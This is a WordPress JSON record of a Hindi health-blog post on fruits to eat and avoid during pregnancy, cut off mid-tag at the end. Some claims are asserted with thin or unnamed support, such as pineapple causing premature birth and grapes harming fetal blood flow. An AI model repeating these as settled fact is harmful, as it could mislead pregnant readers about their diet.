{"id":8983,"date":"2023-10-01T14:53:26","date_gmt":"2023-10-01T14:53:26","guid":{"rendered":"https:\/\/www.healthsrainbow.com\/blog\/?p=8983"},"modified":"2025-10-24T21:16:06","modified_gmt":"2025-10-24T21:16:06","slug":"%e0%a4%97%e0%a4%b0%e0%a5%8d%e0%a4%ad%e0%a4%b5%e0%a4%a4%e0%a5%80-%e0%a4%ae%e0%a4%b9%e0%a4%bf%e0%a4%b2%e0%a4%be-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%bf%e0%a4%8f-%e0%a4%95%e0%a5%8c%e0%a4%a8-%e0%a4%b8","status":"publish","type":"post","link":"https:\/\/www.healthsrainbow.com\/blog\/2023\/10\/01\/%e0%a4%97%e0%a4%b0%e0%a5%8d%e0%a4%ad%e0%a4%b5%e0%a4%a4%e0%a5%80-%e0%a4%ae%e0%a4%b9%e0%a4%bf%e0%a4%b2%e0%a4%be-%e0%a4%95%e0%a5%87-%e0%a4%b2%e0%a4%bf%e0%a4%8f-%e0%a4%95%e0%a5%8c%e0%a4%a8-%e0%a4%b8\/","title":{"rendered":"Nutritional Powerhouses: Fruits for a Healthy Pregnancy"},"content":{"rendered":"<h2><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone  wp-image-9409\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-sa-fruit-300x225.jpg\" alt=\"kaun sa fruit\" width=\"612\" height=\"459\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-sa-fruit-300x225.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-sa-fruit-768x576.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-sa-fruit-1024x768.jpg 1024w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/kaun-sa-fruit.jpg 1200w\" sizes=\"(max-width: 612px) 100vw, 612px\" \/><\/p>\n<ul>\n<li>\u0915\u0940\u0935\u0940 \u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902\u00a0\u0915\u094c\u0928\u00a0\u0938\u0947 \u092b\u094d\u0930\u0942\u091f \u0916\u093e\u0928\u0947 \u091a\u093e\u0939\u093f\u090f, \u0907\u0938\u092e\u0947\u0902 \u090f\u0915 \u0928\u093e\u092e \u0915\u0940\u0935\u0940 \u0915\u093e \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u091a\u0947\u0930\u0940 \u091a\u0947\u0930\u0940 \u092e\u0947\u0902 \u092d\u0930\u092a\u0942\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928, \u092e\u093f\u0928\u0930\u0932 \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u092e\u094c\u091c\u0942\u0926 \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n<li>\u0905\u092e\u0930\u0942\u0926<\/li>\n<li>\u0906\u092e<\/li>\n<li>\u0928\u093e\u0936\u092a\u093e\u0924\u0940<\/li>\n<li>\u0938\u0947\u092c<\/li>\n<li>\u091a\u0940\u0915\u0942<\/li>\n<li>\u0938\u094d\u091f\u094d\u0930\u0949\u092c\u0947\u0930\u0940<\/li>\n<\/ul>\n<h2><strong>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0915\u094c\u0928 \u0938\u093e \u092b\u094d\u0930\u0942\u091f \u0928\u0939\u0940\u0902 \u0916\u093e\u0928\u093e \u091a\u093e\u0939\u093f\u090f?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9410\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/which-fruit-not-300x169.jpg\" alt=\"which fruit not\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/which-fruit-not-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/which-fruit-not.jpg 713w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li><strong>\u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e &#8211;<\/strong>\u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u092e\u0939\u093f\u0932\u093e\u0913\u0902 \u0915\u094b \u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e \u0915\u093e \u0938\u0947\u0935\u0928 \u0928\u0939\u0940\u0902 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u093f\u090f. \u0905\u0917\u0930 \u0906\u092a \u0915\u091a\u094d\u091a\u093e \u092a\u092a\u0940\u0924\u093e \u0916\u093e\u0924\u0947 \u0939\u0948\u0902 \u0924\u094b \u0907\u0938\u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0917\u0930\u094d\u092d\u092a\u093e\u0924 \u0915\u093e \u091c\u094b\u0916\u093f\u092e \u092c\u0922\u093c \u0938\u0915\u0924\u093e \u0939\u0948.<\/li>\n<li><strong>\u0905\u0928\u093e\u0928\u093e\u0938 &#8211;<\/strong>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092a\u093e\u0907\u0928\u090f\u092a\u094d\u092a\u0932 \u0915\u093e \u0938\u0947\u0935\u0928 \u0928 \u0915\u0930\u0947\u0902. \u0930\u093f\u0938\u0930\u094d\u091a \u0915\u0947 \u092e\u0941\u0924\u093e\u092c\u093f\u0915, \u0907\u0938\u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u092a\u094d\u0930\u0940\u092e\u0948\u091a\u094d\u092f\u094b\u0930 \u0921\u093f\u0932\u0940\u0935\u0930\u0940 \u092f\u093e\u0928\u0940 \u0938\u092e\u092f \u0938\u0947 \u092a\u0939\u0932\u0947 \u092a\u094d\u0930\u0938\u0935 \u0939\u094b\u0928\u0947 \u0915\u093e \u0916\u0924\u0930\u093e \u0930\u0939\u0924\u093e \u0939\u0948<\/li>\n<li><strong>\u0905\u0902\u0917\u0942\u0930 &#8211;<\/strong>\u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0905\u0902\u0917\u0942\u0930 \u0915\u093e \u0938\u0947\u0935\u0928 \u0928\u0939\u0940\u0902 \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u093f\u090f. \u0907\u0938\u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u092d\u094d\u0930\u0942\u0923 \u092e\u0947\u0902 \u092c\u094d\u0932\u0921 \u092b\u094d\u0932\u094b \u0938\u0939\u0940 \u0924\u0930\u0940\u0915\u0947 \u0938\u0947 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n<h2><\/h2>\n<h2><strong>\u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u093e<\/strong><strong> dry <\/strong><strong>\u092b\u094d\u0930\u0942\u091f<\/strong> <strong>\u0928\u0939\u0940\u0902<\/strong> <strong>\u0916\u093e\u0928\u093e<\/strong> <strong>\u091a\u093e\u0939\u093f\u090f?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9411\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-dry-fruit-300x169.jpg\" alt=\"preg dry fruit\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-dry-fruit-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-dry-fruit.jpg 713w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0909\u0928\u094d\u0939\u094b\u0902\u0928\u0947 \u092c\u0924\u093e\u092f\u093e \u0915\u093f \u092c\u093e\u0926\u093e\u092e, \u0905\u0916\u0930\u094b\u091f, \u0939\u0947\u091c\u0932\u0928\u0947\u0932, \u0915\u093e\u091c\u0942, \u092a\u093f\u0938\u094d\u0924\u093e, \u0916\u091c\u0942\u0930, \u0915\u093f\u0936\u092e\u093f\u0936, \u091a\u093f\u0932\u0917\u094b\u091c\u093e \u0906\u0926\u093f \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u092e\u093e\u0902 \u0914\u0930 \u092c\u091a\u094d\u091a\u0947 \u0926\u094b\u0928\u094b\u0902 \u0915\u0947 \u0935\u093f\u0915\u093e\u0938 \u0915\u0947 \u0932\u093f\u090f \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li>\u0932\u0947\u0915\u093f\u0928 \u0905\u0917\u0930 \u0906\u092a\u0915\u093e \u0935\u091c\u0928 \u091c\u094d\u092f\u093e\u0926\u093e \u0939\u0948 \u0924\u094b \u0906\u092a\u0915\u094b\u00a0\u092b\u0948\u091f \u0914\u0930 \u0936\u0941\u0917\u0930 \u0915\u0940 \u091c\u094d\u092f\u093e\u0926\u093e \u092e\u093e\u0924\u094d\u0930\u093e \u0935\u093e\u0932\u0947 \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f\u094d\u0938 \u091c\u0948\u0938\u0947 \u0915\u093e\u091c\u0942 \u0916\u093e\u0928\u0947 \u0938\u0947 \u092c\u091a\u0928\u093e \u091a\u093e\u0939\u093f\u090f<\/li>\n<\/ul>\n<h2><strong>\u0938\u092c\u0938\u0947<\/strong> <strong>\u091c\u094d\u092f\u093e\u0926\u093e<\/strong> <strong>\u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926<\/strong> <strong>\u0921\u094d\u0930\u093e\u0908<\/strong> <strong>\u092b\u094d\u0930\u0942\u091f<\/strong> <strong>\u0915\u094c\u0928<\/strong> <strong>\u0938\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9412\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/dry-fruit-bene-300x144.jpg\" alt=\"dry fruit bene\" width=\"300\" height=\"144\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/dry-fruit-bene-300x144.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/dry-fruit-bene-768x369.jpg 768w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/dry-fruit-bene-1024x492.jpg 1024w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/dry-fruit-bene.jpg 1200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0915\u093e\u091c\u0942 \u090f\u0915 \u092c\u0947\u0939\u0926 \u092a\u094b\u0937\u0915\u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f\u00a0\u0939\u0948<\/li>\n<li>\u0907\u0938\u092e\u0947\u0902 \u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f<\/li>\n<li>\u092a\u094d\u0930\u094b\u091f\u0940\u0928<\/li>\n<li>\u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0908<\/li>\n<li>\u090f\u0902\u091f\u0940 \u0911\u0915\u094d\u200d\u0938\u0940\u0921\u0947\u0902\u091f\u094d\u0938<\/li>\n<li>\u092b\u093e\u0907\u092c\u0930<\/li>\n<li>\u0906\u092f\u093c\u0930\u0928<\/li>\n<li>\u092e\u0948\u0917\u094d\u200d\u0928\u0940\u0936\u093f\u092f\u092e,<\/li>\n<li>\u092b\u094b\u0932\u0947\u091f<\/li>\n<li>\u0915\u0948\u0932\u094d\u0936\u093f\u092f\u092e \u0914\u0915 \u091c\u093f\u0902\u0915 \u0915\u0940 \u092d\u0930\u092a\u0942\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092a\u093e\u0908 \u091c\u093e\u0924\u0940 \u0939\u0948. \u0907\u0938\u0947 \u0915\u0908 \u0924\u0930\u0939 \u0915\u0940 \u0930\u0947\u0938\u0947\u092a\u0940\u091c \u092e\u0947\u0902 \u092e\u093f\u0915\u094d\u0938 \u0915\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0926\u094c\u0930\u093e\u0928<\/strong> <strong>\u0915\u093f\u0924\u0928\u0947<\/strong> <strong>\u092b\u0932<\/strong> <strong>\u0916\u093e<\/strong> <strong>\u0938\u0915\u0924\u0947<\/strong> <strong>\u0939\u0948\u0902<\/strong><strong>?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9413\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-fru-300x181.jpg\" alt=\"preg fru\" width=\"300\" height=\"181\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-fru-300x180.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-fru-600x360.jpg 600w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/preg-fru.jpg 650w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0928\u093f\u092f\u092e\u093f\u0924 \u0930\u0942\u092a \u0938\u0947 \u0938\u0939\u0940 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u092b\u0932\u094b\u0902 \u0915\u093e \u0938\u0947\u0935\u0928 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u092e\u093e\u0928\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0921\u0949\u0915\u094d\u091f\u0930 \u0926\u093f\u0928\u092d\u0930 \u092e\u0947\u0902 3-4 \u092c\u093e\u0930 \u092b\u0932\u094b\u0902 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0928\u0947 \u0915\u0940 \u0938\u0932\u093e\u0939 \u0926\u0947\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0935\u0939\u0940\u0902, \u090f\u0915 \u0936\u094b\u0927 \u092e\u0947\u0902 \u092b\u0932\u094b\u0902 \u0915\u0940 \u092a\u094d\u0930\u0924\u093f\u0926\u093f\u0928 \u0924\u0940\u0928 \u0938\u0930\u094d\u0935\u093f\u0902\u0917\u094d\u0938 \u0932\u0947\u0928\u0947 \u0915\u0940 \u0938\u0932\u093e\u0939 \u0926\u0940 \u0917\u0908 \u0939\u0948 \u0927\u094d\u092f\u093e\u0928 \u0930\u0916\u0947\u0902 \u0905\u0917\u0930 \u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0915\u093f\u0938\u0940 \u092e\u0939\u093f\u0932\u093e \u0915\u094b \u092e\u0927\u0941\u092e\u0947\u0939 \u092f\u093e \u0915\u094b\u0908 \u0905\u0928\u094d\u092f \u0938\u092e\u0938\u094d\u092f\u093e \u0939\u0948, \u0924\u094b \u091a\u093f\u0915\u093f\u0924\u094d\u0938\u0915 \u0915\u0940 \u0938\u0932\u093e\u0939 \u0915\u0947 \u092c\u093e\u0926 \u0939\u0940 \u092b\u0932\u094b\u0902 \u0915\u093e \u0938\u0947\u0935\u0928 \u0915\u0930\u0947\u0902\u0964<\/li>\n<\/ul>\n<p><strong>\u00a0<\/strong><\/p>\n<h2><strong>\u0906\u0939\u093e\u0930<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u0905\u0927\u093f\u0915<\/strong> <strong>\u092b\u0932<\/strong> <strong>\u091c\u094b\u0921\u093c\u0928\u0947<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0906\u0938\u093e\u0928<\/strong> <strong>\u0924\u0930\u0940\u0915\u0947?<\/strong><\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9414\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/aharr-300x169.jpg\" alt=\"aharr\" width=\"300\" height=\"169\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/aharr-300x169.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/aharr.jpg 712w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u0906\u092a \u0905\u092a\u0928\u0947 \u0916\u093e\u0928\u0947 \u092e\u0947\u0902 \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f \u092e\u093f\u0932\u093e\u0915\u0930 \u0916\u093e \u0938\u0915\u0924\u0940 \u0939\u0948\u0902\u0964 \u0926\u0932\u093f\u092f\u093e \u0935 \u0916\u0940\u0930 \u0906\u0926\u093f \u092e\u0947\u0902 \u0921\u094d\u0930\u093e\u0908 \u092b\u094d\u0930\u0942\u091f\u094d\u0938 \u092f\u093e \u0924\u093e\u091c\u0947 \u092b\u0932 \u0921\u093e\u0932\u0915\u0930 \u0916\u093e\u0928\u0947 \u0938\u0947 \u0938\u094d\u0935\u093e\u0926 \u092d\u0940 \u092c\u0922\u093c\u0947\u0917\u093e \u0914\u0930 \u092a\u094b\u0937\u0923 \u092d\u0940 \u092e\u093f\u0932\u0947\u0917\u093e\u0964<\/li>\n<li>\u092c\u094d\u0930\u0947\u0921 \u092a\u0930 \u091c\u0948\u092e \u0932\u0917\u093e\u0915\u0930 \u0916\u093e\u0928\u0947 \u0915\u0940 \u091c\u0917\u0939 \u092e\u0948\u0936 \u0915\u093f\u092f\u093e \u0939\u0941\u0906 \u0915\u0947\u0932\u093e \u0932\u0917\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0918\u0930 \u092e\u0947\u0902 \u0938\u0902\u0924\u0930\u0947 \u0915\u093e \u0930\u0938 \u0928\u093f\u0915\u093e\u0932 \u0915\u0930 \u092a\u0940 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u092f\u094b\u0917\u0930\u094d\u091f \u092e\u0947\u0902 \u092c\u0947\u0930\u0940 \u092e\u093f\u0932\u093e\u0915\u0930 \u0916\u093e \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li>\u0906\u092a \u092f\u094b\u0917\u0930\u094d\u091f \u092e\u0947\u0902 \u0930\u0948\u0938\u094d\u092a\u092c\u0948\u0930\u0940 \u0914\u0930 \u092c\u094d\u0932\u0942\u092c\u0947\u0930\u0940 \u092e\u093f\u0932\u093e\u0915\u0930 \u0938\u094d\u092e\u0942\u0926\u0940 \u092c\u0928\u093e\u0915\u0930 \u092d\u0940 \u0916\u093e \u0938\u0915\u0924\u0940 \u0939\u0948\u0902\u0964<\/li>\n<\/ul>\n<h2>\u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u092b\u0932 \u0916\u093e\u0928\u0947 \u0915\u0947 \u0932\u093e\u092d?<\/h2>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-medium wp-image-9415\" src=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/garbha-300x224.jpg\" alt=\"garbha\" width=\"300\" height=\"224\" srcset=\"https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/garbha-300x224.jpg 300w, https:\/\/www.healthsrainbow.com\/blog\/wp-content\/uploads\/2023\/10\/garbha.jpg 614w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/p>\n<ul>\n<li>\u092b\u0932\u094b\u0902 \u092e\u0947\u0902 \u092d\u0930\u092a\u0942\u0930 \u092e\u093e\u0924\u094d\u0930\u093e \u092e\u0947\u0902 \u0935\u093f\u091f\u093e\u092e\u093f\u0928, \u0916\u0928\u093f\u091c \u0914\u0930 \u092b\u093e\u0907\u092c\u0930 \u092a\u093e\u090f \u091c\u093e\u0924\u0947 \u0939\u0948\u0902, \u091c\u094b \u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0915\u093e\u092b\u0940 \u092b\u093e\u092f\u0926\u093e \u092a\u0939\u0941\u0902\u091a\u093e\u0924\u0947 \u0939\u0948\u0902\u0964 \u0928\u0940\u091a\u0947 \u091c\u093e\u0928\u093f\u090f \u0915\u093f \u0915\u093f\u0938 \u0924\u0930\u0939 \u0938\u0947 \u092b\u0932 \u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u0932\u093e\u092d\u0926\u093e\u092f\u0915 \u0939\u0948\u0902 :<\/li>\n<\/ul>\n<ol>\n<li><strong>\u092b\u094b\u0932\u093f\u0915<\/strong> <strong>\u090f\u0938\u093f\u0921<\/strong>\u2013\u00a0<strong>\u0915\u0908<\/strong> <strong>\u092b\u0932\u094b\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u092b\u094b\u0932\u093f\u0915<\/strong> <strong>\u090f\u0938\u093f\u0921<\/strong> <strong>\u092a\u094d\u0930\u091a\u0941\u0930<\/strong> <strong>\u092e\u093e\u0924\u094d\u0930\u093e<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u092a\u093e\u092f\u093e<\/strong> <strong>\u091c\u093e\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>, <\/strong><strong>\u091c\u094b<\/strong> <strong>\u0936\u093f\u0936\u0941<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0935\u093f\u0915\u093e\u0938<\/strong> <strong>\u0915\u0947<\/strong> <strong>\u0932\u093f\u090f<\/strong> <strong>\u091c\u0930\u0942\u0930\u0940<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948\u0964<\/strong>\u00a0\u0910\u0938\u0947 \u092e\u0947\u0902 \u092b\u094b\u0932\u093f\u0915 \u090f\u0938\u093f\u0921 \u092f\u0941\u0915\u094d\u0924 \u092b\u0932 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n<li><strong>\u0935\u093f\u091f\u093e\u092e\u093f\u0928<\/strong>\u2013 \u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0935\u093f\u091f\u093e\u092e\u093f\u0928 \u0915\u093e \u0938\u0947\u0935\u0928 \u0914\u0930 \u091c\u094d\u092f\u093e\u0926\u093e \u091c\u0930\u0942\u0930\u0940 \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u0910\u0938\u0947 \u092e\u0947\u0902 \u092b\u0932\u094b\u0902 \u0938\u0947 \u0906\u092a\u0915\u094b \u092d\u0930\u092a\u0942\u0930 \u092a\u094b\u0937\u0923 \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u094b \u092c\u091a\u094d\u091a\u0947 \u0915\u0947 \u0932\u093f\u090f \u092d\u0940 \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/li>\n<li><strong>\u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f<\/strong> <strong>\u0930\u0916\u0947<\/strong>\u2013 \u092b\u0932\u094b\u0902 \u0915\u0947 \u0938\u0947\u0935\u0928 \u0938\u0947 \u0906\u092a \u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f \u092d\u0940 \u0930\u0939\u0924\u0947 \u0939\u0948\u0902\u0964\u00a0<strong>\u0915\u0908<\/strong> <strong>\u092b\u0932\u094b\u0902<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u092d\u0930\u092a\u0942\u0930<\/strong> <strong>\u092e\u093e\u0924\u094d\u0930\u093e<\/strong> <strong>\u092e\u0947\u0902<\/strong> <strong>\u092a\u093e\u0928\u0940<\/strong> <strong>\u0939\u094b\u0924\u093e<\/strong> <strong>\u0939\u0948<\/strong><strong>, <\/strong><strong>\u091c\u094b<\/strong> <strong>\u0906\u092a\u0915\u094b<\/strong> <strong>\u0939\u093e\u0907\u0921\u094d\u0930\u0947\u091f<\/strong> <strong>\u0930\u0916\u0924\u0947<\/strong> <strong>\u0939\u0948\u0902<\/strong><strong>\u0964<\/strong><\/li>\n<li><strong>\u0935\u091c\u0928<\/strong> <strong>\u0928\u093f\u092f\u0902\u0924\u094d\u0930\u093f\u0924<\/strong> <strong>\u0930\u0916\u0947<\/strong>: \u0917\u0930\u094d\u092d\u093e\u0935\u0938\u094d\u0925\u093e \u092e\u0947\u0902 \u0905\u0924\u093f\u0930\u093f\u0915\u094d\u0924 \u0935\u091c\u0928 \u092c\u0922\u093c\u0928\u093e \u0938\u093e\u092e\u093e\u0928\u094d\u092f \u092c\u093e\u0924 \u0939\u0948\u0964 \u0910\u0938\u0947 \u092e\u0947\u0902 \u092b\u0932\u094b\u0902 \u0915\u093e \u0938\u0947\u0935\u0928 \u0906\u092a\u0915\u093e \u0935\u091c\u0928 \u0928\u093f\u092f\u0902\u0924\u094d\u0930\u093f\u0924 \u0915\u0930\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/li>\n<li><strong>\u0915\u092c\u094d\u091c<\/strong> <strong>\u0938\u0947<\/strong> <strong>\u092c\u091a\u093e\u090f<\/strong>: \u092a\u094d\u0930\u0947\u0917\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0915\u092c\u094d\u091c \u0915\u0940 \u0938\u092e\u0938\u094d\u092f\u093e \u0906\u092e \u092c\u093e\u0924 \u0939\u0948\u0964 \u092b\u0932\u094b\u0902 \u0938\u0947 \u0906\u092a\u0915\u094b \u092b\u093e\u0907\u092c\u0930 \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u094b \u0915\u092c\u094d\u091c \u0938\u0947 \u0930\u093e\u0939\u0924 \u0926\u093f\u0932\u093e\u0928\u0947 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ol>\n<p><strong>For more information Visit us :<\/strong><\/p>\n<p>Website: <a href=\"https:\/\/www.youtube.com\/redirect?event=video_description&amp;redir_token=QUFFLUhqa2VQQWdHYURCNlk3SkVlUTFCSmh4UmlPNXlRd3xBQ3Jtc0ttaXE0b0t1ckw2SGFuQm41dDBqajRMLXk4UTRHeGNPRjM0azBjQW1WYmZuZ1Y1VVZNVXVDbHpSSWJfVnVJN3Y2QkVDQU9WNG5HbF81a2E0X2RSc1VfR3dUR2Y5cEFFRnltVTBNU3JGTnpQeE5iOWd5OA&amp;q=http%3A%2F%2Fwww.healthsrainbow.com%2F&amp;v=wPm8FUPYWn4\">http:\/\/www.healthsrainbow.com\/<\/a><\/p>\n<p>Website Blog: <a href=\"https:\/\/www.healthsrainbow.com\/blog\/\">https:\/\/www.healthsrainbow.com\/blog\/<\/a><\/p>\n<p>Subscriber: <a href=\"https:\/\/www.youtube.com\/@healthsrainbow4897\">https:\/\/www.youtube.com\/@healthsrainbow4897<\/a><\/p>\n<p>Facebook Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100087738795787\">https:\/\/www.facebook.com\/profile.php?id=100087738795787<\/a><\/p>\n<p>Facebook Main Page: <a href=\"https:\/\/www.facebook.com\/profile.php?id=100072657459686\">https:\/\/www.facebook.com\/profile.php?id=100072657459686<\/a><\/p>\n<p>Instagram: <a href=\"https:\/\/www.instagram.com\/healthsrainbow\/\">https:\/\/www.instagram.com\/healthsrainbow\/<\/a><\/p>\n<p>Twitter: <a href=\"https:\/\/twitter.com\/healths_rainbow\">https:\/\/twitter.com\/healths_rainbow<\/a><\/p>\n<p><strong>RELATED VIDEO :<\/strong><\/p>\n<ol>\n<li class=\"style-scope ytd-watch-metadata\"><a id=\"video-title\" class=\"yt-simple-endpoint style-scope ytd-video-renderer\" title=\"Which fruits should be eaten during pregnancy || \u092a\u094d\u0930\u0947\u0917\u094d\u0928\u0947\u0902\u0938\u0940 \u092e\u0947\u0902 \u0915\u094c\u0928 \u0938\u0947 \u092b\u0932 \u0916\u093e\u0928\u0947 \u091a\u093e\u0939\u093f\u090f ||\" 